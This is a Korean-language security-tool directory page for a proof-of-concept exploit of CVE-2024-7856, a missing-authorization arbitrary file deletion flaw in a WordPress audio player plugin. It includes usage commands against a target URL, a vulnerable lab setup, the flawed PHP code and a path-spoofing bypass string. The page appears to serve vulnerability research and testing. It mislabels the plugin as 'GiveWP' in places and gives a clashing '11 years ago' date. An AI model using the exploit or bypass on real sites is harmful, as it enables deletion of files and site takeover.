Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-7856 — Proof-of-Concept for CVE-2024-7856 | Kitploit
도구/GitHubGitHub/l8bl/cve-2024-7856
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubl8bl/cve-2024-7856

CVE-2024-7856

Proof-of-Concept for CVE-2024-7856

저장소 보기
11년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-7856

★ CVE-2024-7856 임의 파일 삭제 PoC ★

설명

CVE-2024-7856 : MP3 Audio Player – Music Player, Podcast Player & Radio by Sonaar <= 5.7.0.1 – 인증되지 않은 사용자에서 인증된(구독자 이상) 임의 파일 삭제로 이어지는 권한 누락

연구자: Arkadiusz Hydzik

설명: WordPress용 MP3 Audio Player – Music Player, Podcast Player & Radio by Sonaar 플러그인은 5.7.0.1 이하 모든 버전에서 removeTempFiles() 함수에 대한 기능 검사 누락과 'file' 매개변수의 불충분한 경로 검증으로 인해 인증되지 않은 임의 파일 삭제에 취약합니다. 이로 인해 구독자 수준 이상의 접근 권한을 가진 인증된 공격자가 임의 파일을 삭제할 수 있으며, wp-config.php가 삭제될 경우 원격 코드 실행이 가능해집니다.

사용 방법

Git 클론

root@kitploit:~
git clone https://github.com/l8BL/CVE-2024-7856.git
cd CVE-2024-7856

패키지 설치

root@kitploit:~
pip install -r requirements.txt

명령어

root@kitploit:~
# 임의 파일 삭제
python3 CVE-2024-7856.py -u <공격할_URL> -f <삭제할_파일>
python3 CVE-2024-7856.py -u <공격할_URL> -f <삭제할_파일> -i <로그인할_사용자_ID> -p <로그인할_사용자_PW>

예시

root@kitploit:~
python3 CVE-2024-7856.py -u http://example.com/ -f /tmp/test
python3 CVE-2024-7856.py -u http://example.com/ -f /tmp/test -i EQSTtester -p q1w2e3r4t5y!

출력

CVE-2024-7856.py alt text

결과

alt text

취약 환경

1. docker-compose.yml

root@kitploit:~
services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:6.3.2
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:

2. 그런 다음 취약한 GiveWP 플러그인을 다운로드합니다:

https://downloads.wordpress.org/plugin/mp3-music-player-by-sonaar.5.7.zip

3. GiveWP 플러그인 zip 파일의 압축을 풀고 전체 파일을 “/var/www/html/wp-content/plugins” 디렉토리에 복사합니다.

root@kitploit:~
docker cp mp3-music-player-by-sonaar docker-wordpress-1:/var/www/html/wp-content/plugins

분석

취약점 포인트1 (includes/class-sonaar-music.php)

root@kitploit:~
public function removeTempFiles(){
		// will unlink the temporary peak file and generate another one automatically.

		check_ajax_referer('sonaar_music_admin_ajax_nonce', 'nonce');
	
		$is_temp = filter_input(INPUT_POST, 'is_temp', FILTER_VALIDATE_BOOLEAN);
		$file = filter_input(INPUT_POST, 'file', FILTER_SANITIZE_STRING);
	
		if ($is_temp && $file) {
			$upload_dir = wp_get_upload_dir();
			
			$peaks_dir = $this->get_peak_dir();
	
			$file_path_temp = str_replace($upload_dir['baseurl'] . $this->get_peak_dir(true), $peaks_dir, $file);
	
			if (strpos($file_path_temp, $peaks_dir) === 0 && file_exists($file_path_temp)) {
				wp_delete_file($file_path_temp);
			}
		}
		
		
	}

취약점 포인트2 (admin/class-sonaar-music-admin.php)

root@kitploit:~
if (strpos($hook, SR_PLAYLIST_CPT . '_page_srmp3_settings_') === 0) {
            wp_enqueue_script( 'cmb2_image_select_metafield-js', plugin_dir_url( __FILE__ ) . 'library/cmb2-image-select-field-type/image_select_metafield.js' , '', '1.0.0', true );  // Used for plugin settings page only. it does not work on group repeater fields
            wp_enqueue_script( 'sonaar-music', plugin_dir_url( __DIR__ ) . 'public/js/sonaar-music-public.js', array( 'jquery' ), $this->version, true ); // used for peak generation
            wp_localize_script('sonaar-admin', 'sonaar_music', array(
                'plugin_version_free'=> SRMP3_VERSION,
                'plugin_version_pro'=> ( defined( 'SRMP3PRO_VERSION' ) ? SRMP3PRO_VERSION : 'Not Installed' ),
                'ajax' => array(
                    'ajax_url' => admin_url( 'admin-ajax.php' ),
                    'ajax_nonce' => wp_create_nonce( 'sonaar_music_admin_ajax_nonce' ),
                    'ajax_nonce_peaks' => wp_create_nonce( 'sonaar_music_ajax_peaks_nonce' ),
                ),
            ));
            

        }

우회 기법

'경로 스푸핑' : /wp-admin/index.php/%0a/wp-admin/sr_playlist_page_srmp3_settings_

공격 시나리오

임의 파일 삭제

인증된 사용자로 임의 파일 삭제를 악용할 수 있습니다.

면책 조항

이 저장소는 CVE-2024-7856에 대한 임의 파일 삭제 익스플로잇을 목적으로 하지 않습니다. 이 프로젝트의 목적은 사람들이 이 취약점에 대해 배우고 자신의 애플리케이션을 테스트할 수 있도록 돕는 것입니다.

참고

https://www.wordfence.com/blog/2024/09/critical-arbitrary-file-deletion-vulnerability-in-mp3-audio-player-wordpress-plugin-affects-over-20000-sites/

도구 다운로드